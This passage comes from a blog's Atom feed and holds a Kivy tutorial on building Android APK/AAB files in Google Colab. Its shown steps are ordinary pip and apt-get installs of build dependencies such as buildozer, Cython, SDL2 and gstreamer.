&lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;Click on the Turtle Screen To Close&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;exitonclick()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/7602335567604653564/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2022/01/create-optical-illusion-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/7602335567604653564'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/7602335567604653564'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2022/01/create-optical-illusion-in-python.html' title='Create Optical illusion in Python | Create Optical illusion with Python | How to Create Optical illusions in Python'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/Vx0vbC-akrE/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-908688983652189770</id><published>2022-01-08T06:14:00.021-08:00</published><updated>2022-03-06T04:50:43.220-08:00</updated><title type='text'>Kivy .APK .AAB | Kivy Python Framework For Mobile App Development</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;center&gt;
&lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/k12E5jbWqQQ/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;230&quot; src=&quot;https://www.youtube.com/embed/k12E5jbWqQQ?feature=player_embedded&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;
&lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/aRSSj_KOSBY/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;230&quot; src=&quot;https://www.youtube.com/embed/aRSSj_KOSBY?feature=player_embedded&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;

&lt;/center&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://kivy.org/slides/kivy1110-featured.png&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;https://pysnakeblog.blogspot.com/2022/01/kivy-apk-aab-kivy-python-framework-for.html&quot; border=&quot;0&quot; width=&quot;320&quot; data-original-height=&quot;340&quot; data-original-width=&quot;800&quot; src=&quot;https://kivy.org/slides/kivy1110-featured.png&quot; title=&quot;Kivy Python Framework For Mobile App Development&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

     &lt;div class=&quot;bg-light sidebar-module sidebar-module-inset&quot; id=&quot;toc&quot;&gt;
     &lt;p class=&quot;h3 mb-2 text-muted&quot;&gt;Table of Contents&lt;/p&gt;
     &lt;div class=&quot;toc&quot;&gt;
     &lt;ul&gt;
     &lt;li&gt;&lt;a href=&quot;#run-1-[install-buildozer]&quot;&gt;Run 1 [Install Buildozer]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-2-[install-cython-version-0.29.19]&quot;&gt;Run 2 [Install Cython Version 0.29.19]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-3-[lsb_release-command-prints-certain-lsb-(linux-standard-base)-and-distribution-information.]&quot;&gt;Run 3 [Lsb_Release Command Prints Certain Lsb (Linux Standard Base) And Distribution Information.]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-4-[install-python-and-other-libraries]&quot;&gt;Run 4 [Install Python And Other Libraries]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-5-[install-more-libraries]&quot;&gt;Run 5 [Install More Libraries]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-6-[more-libraries]&quot;&gt;Run 6 [More Libraries]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-7-[some-more-libraries]-*important&quot;&gt;Run 7 [Some More Libraries] *Important&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-8-[create-buildozer-spec]&quot;&gt;Run 8 [Create Buildozer Spec]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-9-[adding-admob-to-kivy]&quot;&gt;Run 9 [Adding Admob To Kivy]&lt;/a&gt;&lt;/li&gt;
       &lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#run-10-a-[create-app-as-debug-mode]&quot;&gt;Run 10 A [Create App As Debug Mode]&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
       &lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#run-10-b-[create-app-as-release-mode]&quot;&gt;Run 10 B [Create App As Release Mode]&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
       &lt;li&gt;&lt;a href=&quot;#run-11-[clean-previous-app-built]&quot;&gt;Run 11 [Clean Previous App Built]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-12-[check-if-&#39;keystore-maker&#39;-is-installed-and-running.-it-is-called-&#39;keytool&#39;]&quot;&gt;Run 12 [Check If &quot;keystore maker&quot; is installed and running. It is called &quot;keytool&quot;]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-13-[create-folder-named-keystores]&quot;&gt;Run 13 [Create Folder Named Keystores]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-14-[creating-keystore]&quot;&gt;Run 14 [Creating Keystore]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-15-[convert-jks-keystore-to-pkcs12-format-keystore-which-is-an-industry-standard-format.]&quot;&gt;Run 15 [Convert Jks Keystore To Pkcs12 Format Keystore Which Is An Industry Standard Format.]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-16-[validate-our-new-personal-certificate]-password-i-am-using-123456789&quot;&gt;Run 16 [Validate Our New Personal Certificate] Password I Am Using 123456789&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-17-[get-file-path-of-your-apk-using-windows-cmd-command-line]&quot;&gt;Run 17 [Get File Path Of Your Apk Using Windows Cmd Command Line]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-18-[sign-the-release-apk-using-the-keystore]&quot;&gt;Run 18 [Sign The Release Apk Using The Keystore]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-19-[install-android-sdk]&quot;&gt;Run 19 [Install Android Sdk]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-20-[check-if-zipalign-is-installed-&amp;amp;-running]&quot;&gt;Run 20 [Check If Zipalign Is Installed &amp;amp;Amp; Running]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-21-[get-file-path-of-your-apk-again-using-windows-cmd-command-line]&quot;&gt;Run 21 [Get File Path Of Your Apk Again Using Windows Cmd Command Line]&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href=&quot;#run-22-[zipalign-the-apk]&quot;&gt;Run 22 [Zipalign The Apk]&lt;/a&gt;&lt;/li&gt;
     &lt;/ul&gt;
     &lt;/div&gt;
     &lt;/div&gt;

&lt;p&gt;What is KIVY?&lt;br /&gt;Kivy is a free and open-source Python library used for developing mobile applications and other multitouch application software with a Natural User Interface.&lt;/p&gt;&lt;p&gt;What is Google Colaboratory?&lt;br /&gt;Google Colaboratory, or &quot;Colab&quot; for short, is a product from Google Research. Colab allows anybody to write and execute arbitrary python code through the browser, and is especially well suited to machine learning, data analysis and education. More technically, Colab is a hosted Jupyter notebook service that requires no setup to use, while providing free access to computing resources including GPUs.&lt;/p&gt;In this tutorial I will show you how to Create KIVY APK / AAB using Google Colab&lt;br /&gt;
&lt;p&gt;Yes we can use Google Colab to create Kivy App. The Best part is you can do the same using your tab or a mobile phone and create a Kivy App. And you don&#39;t need to download tones of packages which also means not much data is used. And yet you get the same result as a full-fledged computer with good internet speed does.&lt;/p&gt;&lt;p&gt;So lets get started.&lt;/p&gt;&lt;p&gt;To make Python Apk&lt;br /&gt;You need :- main.py (Main Python Script)&lt;br /&gt;font file (.ttf) - Font used by the Script&lt;/p&gt;
&lt;br /&gt;

&lt;section class=&quot;section2&quot; id=&quot;run-1-[install-buildozer]&quot;&gt;
&lt;h2&gt;🥝 Run 1 [Install Buildozer]&lt;a class=&quot;headerlink&quot; href=&quot;#run-1-[install-buildozer]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pip&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;buildozer&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;

&lt;section class=&quot;section2&quot; id=&quot;run-2-[install-cython-version-0.29.19]&quot;&gt;
&lt;h2&gt;🥝 Run 2 [Install Cython Version 0.29.19]&lt;a class=&quot;headerlink&quot; href=&quot;#run-2-[install-cython-version-0.29.19]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pip&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;cython&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.29&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;19&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;

&lt;section class=&quot;section2&quot; id=&quot;run-3-[lsb_release-command-prints-certain-lsb-(linux-standard-base)-and-distribution-information.]&quot;&gt;
&lt;h2&gt;🥝 Run 3 [Lsb_Release Command Prints Certain Lsb (Linux Standard Base) And Distribution Information.]&lt;a class=&quot;headerlink&quot; href=&quot;#run-3-[lsb_release-command-prints-certain-lsb-(linux-standard-base)-and-distribution-information.]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;lsb_release&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;a&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;

&lt;section class=&quot;section2&quot; id=&quot;run-4-[install-python-and-other-libraries]&quot;&gt;
&lt;h2&gt;🥝 Run 4 [Install Python And Other Libraries]&lt;a class=&quot;headerlink&quot; href=&quot;#run-4-[install-python-and-other-libraries]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;apt&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pip&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;build&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;essential&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;git&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;python3&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;ffmpeg&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libsdl2&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libsdl2&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libsdl2&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;mixer&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libsdl2&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ttf&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libportmidi&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libswscale&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libavformat&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libavcodec&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;zlib1g&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; 
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;

&lt;section class=&quot;section2&quot; id=&quot;run-5-[install-more-libraries]&quot;&gt;
&lt;h2&gt;🥝 Run 5 [Install More Libraries]&lt;a class=&quot;headerlink&quot; href=&quot;#run-5-[install-more-libraries]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;*Cannot install these 3 libraries together with the above. It will create an Error.&lt;/p&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;apt&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libgstreamer1&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;gstreamer1&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;plugins&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;base&lt;/span&gt; \
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;gstreamer1&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;plugins&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;good&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;

&lt;section class=&quot;section2&quot; id=&quot;run-6-[more-libraries]&quot;&gt;
&lt;h2&gt;🥝 Run 6 [More Libraries]&lt;a class=&quot;headerlink&quot; href=&quot;#run-6-[more-libraries]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;apt&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;build&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;essential&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libsqlite3&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;sqlite3&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;bzip2&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libbz2&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;zlib1g&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libssl&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;openssl&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libgdbm&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libgdbm&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;compat&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;liblzma&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libreadline&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libncursesw5&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libffi&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;uuid&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libffi6&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;

&lt;section class=&quot;section2&quot; id=&quot;run-7-[some-more-libraries]-*important&quot;&gt;
&lt;h2&gt;🥝 Run 7 [Some More Libraries] *Important&lt;a class=&quot;headerlink&quot; href=&quot;#run-7-[some-more-libraries]-*important&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;apt&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libffi&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt;
&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;apt&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;automake&lt;/span&gt;
&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;apt&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;autoconf&lt;/span&gt;
&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;apt&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libltdl&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dev&lt;/span&gt;
&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;apt&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;libtool&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;

